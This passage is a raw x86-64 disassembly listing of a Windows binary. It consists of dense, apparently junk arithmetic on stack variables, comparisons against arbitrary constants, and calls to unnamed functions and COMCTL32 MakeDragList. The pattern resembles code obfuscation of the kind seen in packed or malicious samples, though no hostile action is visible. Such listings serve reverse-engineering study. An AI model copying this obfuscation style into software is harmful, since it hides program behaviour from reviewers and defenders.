mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11d], al
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x11f]
sub eax, ecx
mov byte [rsp + 0x11b], al
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xa34]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
jmp 0x140008f4a
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [rsp + 0x11e]
movsx edx, byte [rsp + 0x11f]
xor ecx, edx
cmp eax, ecx
jle 0x140009433
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4cf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
jmp 0x1400094d0
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov dword [rsp + 0x2b6c], eax
cmp dword [rsp + 0x2b6c], 0
je 0x14000947f
cmp dword [rsp + 0x2b6c], 0xb9cacb05
je 0x14000945d
jmp 0x1400094d0
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
jmp 0x1400094d0
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11b]
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb90], ax
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2b14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x4d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4e48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cd0], rax
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb98]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [rsp + 0xb98], ax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
xor eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2af0]
sub eax, 0xc5
mov dword [rsp + 0x2af0], eax
mov rax, qword [rsp + 0x4cf0]
movzx ecx, al
mov rax, qword [rsp + 0x4cd8]
sar rax, cl
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x4d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14016e008], eax
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb98]
movzx ecx, word [rsp + 0xa34]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [0x14016f150]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x11e]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb98]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2ad8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e48]
mov qword [rsp + 0x4e88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e88]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
sar eax, cl
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb88]
and eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e60]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [rsp + 0x11e], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb90]
or eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sar eax, cl
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb94]
xor eax, ecx
mov word [rsp + 0xa14], ax
cmp dword [rsp + 0x2af0], 0xc8cf
jae 0x1400094f0
cmp dword [rsp + 0x2a98], 0xee4d
jbe 0x140009e2e
mov eax, dword [0x14016e008]
mov rcx, qword [rsp + 0x4d40]
mov qword [rsp + 0x4e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4cd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a98]
sub eax, 0xaf
mov dword [rsp + 0x2a98], eax
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov byte [0x14016f152], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov byte [rsp + 0x11d], al
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb8c]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movzx eax, word [rsp + 0xa34]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb90]
add eax, ecx
mov word [rsp + 0xb94], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [0x14016e004]
sub eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x4da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e00]
mov qword [rsp + 0x4e98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4cd0], rax
mov eax, dword [rsp + 0x2ae0]
movzx ecx, al
mov eax, dword [rsp + 0x2af4]
shl eax, cl
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
and eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, word [rsp + 0xb94]
movsx ecx, word [rsp + 0xb88]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb84]
sub eax, ecx
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2b14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad8]
sub ecx, eax
mov eax, ecx
mov dword [0x14016e008], eax
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2af4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae0], eax
movsx eax, word [rsp + 0xb94]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov word [rsp + 0xb90], ax
movzx eax, byte [0x14016f152]
movzx ecx, byte [rsp + 0x11d]
shl eax, cl
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb8c]
xor eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb90]
sar eax, cl
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2af4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov byte [rsp + 0x11e], al
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x120]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb90]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
jmp 0x140009971
mov rax, qword [rsp + 0x4dc0]
movzx eax, byte [rax]
mov byte [rsp + 0x2b70], al
cmp byte [rsp + 0x2b70], 0x20
je 0x140009e4c
jmp 0x140009eb3
mov eax, dword [rsp + 0x2b14]
mov rcx, qword [rsp + 0x4da0]
mov qword [rsp + 0x4ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ea0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2b4c], eax
mov eax, dword [rsp + 0x2b4c]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4e40]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2b4c]
mov rax, qword [rsp + 0x4e40]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2b14]
call fcn.140154460
nop
jmp 0x14000a0e5
movsx eax, word [rsp + 0xa14]
movsx ecx, word [0x14016f150]
or eax, ecx
movsx ecx, word [rsp + 0xb88]
mov dword [rsp + 0x2b74], ecx
movsx edx, word [rsp + 0xb90]
movzx ecx, dl
mov edx, dword [rsp + 0x2b74]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14000a0d0
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x2b78], al
cmp byte [rsp + 0x2b78], 0
je 0x140009f20
cmp byte [rsp + 0x2b78], 0x19
je 0x14000a0af
jmp 0x14000a0ce
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4ea8], rax
cmp qword [rsp + 0x4ea8], 0
je 0x140009f58
movabs rax, 0xa088bde02f8e2025
cmp qword [rsp + 0x4ea8], rax
je 0x14000a06d
jmp 0x14000a0a2
mov rax, qword [rsp + 0x4cf0]
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
mov qword [rsp + 0x4eb8], rax
movabs rax, 0x3806d47a58f73a92
cmp qword [rsp + 0x4eb8], rax
je 0x140009f94
jmp 0x14000a06b
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e50]
cmp rax, qword [rcx]
jae 0x14000a01d
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa14]
mov dword [rsp + 0x2b7c], eax
cmp dword [rsp + 0x2b7c], 0x2b24
je 0x140009ff4
jmp 0x14000a006
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rax]
call fcn.140154a20
nop
jmp 0x14000a01b
mov rcx, qword [rsp + 0x4ec0]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x2aa4], eax
jmp 0x14000a06b
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4cf0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov rdx, qword [rsp + 0x4eb0]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jle 0x14000a06b
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb98], ax
jmp 0x14000a0a2
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2b40]
mov rax, qword [rsp + 0x4e40]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4e40]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2b14]
call fcn.140154460
nop
mov dword [rsp + 0x2b80], 0x4cc
jmp 0x14000a0ce
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x120]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
jmp 0x14000a0e5
mov rcx, qword [rsp + 0x4d78]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x2aa4], eax
movsx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb80]
sub ecx, edx
cmp eax, ecx
jl 0x14000a332
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov edx, dword [rsp + 0x2af4]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x14000a2c8
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x4ec8], rax
mov rax, qword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x4d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x2ae0]
mov edx, dword [0x14016e008]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x14000a2b6
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4ed0], rax
cmp qword [rsp + 0x4ed0], 0
je 0x14000a1a6
jmp 0x14000a29d
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov dword [rsp + 0x2b84], eax
cmp dword [rsp + 0x2b84], 0xe29
je 0x14000a1ca
jmp 0x14000a258
movsx eax, word [rsp + 0xa14]
movsx ecx, word [0x14016f150]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b4c]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4e40]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2b14]
mov edx, dword [rsp + 0x2b14]
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rax]
call fcn.140154460
nop
jmp 0x14000a29b
lea rax, [rsp + 0x11b]
mov qword [0x14016f158], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x4ed8], rax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
jmp 0x14000a2b6
mov eax, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2b4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b40], eax
lea rax, [rsp + 0xb8c]
mov qword [rsp + 0x4ee0], rax
jmp 0x14000a332
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4de0]
mov qword [rsp + 0x4ee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ee8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d70]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4eb0]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000a332
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x120], al
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
or eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b14]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
mov qword [rsp + 0x4ef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ef0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e00]
mov qword [rsp + 0x4ef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ef8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11f]
and eax, ecx
mov byte [rsp + 0x120], al
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b68]
sub eax, 0x15
mov dword [rsp + 0x2b68], eax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ec8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
mov word [rsp + 0xb94], ax
movsx eax, word [rsp + 0xb90]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14016f150], ax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb98]
add eax, ecx
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4ec8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11f]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11e]
sar eax, cl
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x11e]
and eax, ecx
mov byte [0x14016e004], al
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2af4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ed8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe9]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
and eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movsx eax, word [rsp + 0xb94]
movsx ecx, word [rsp + 0xb88]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ed8]
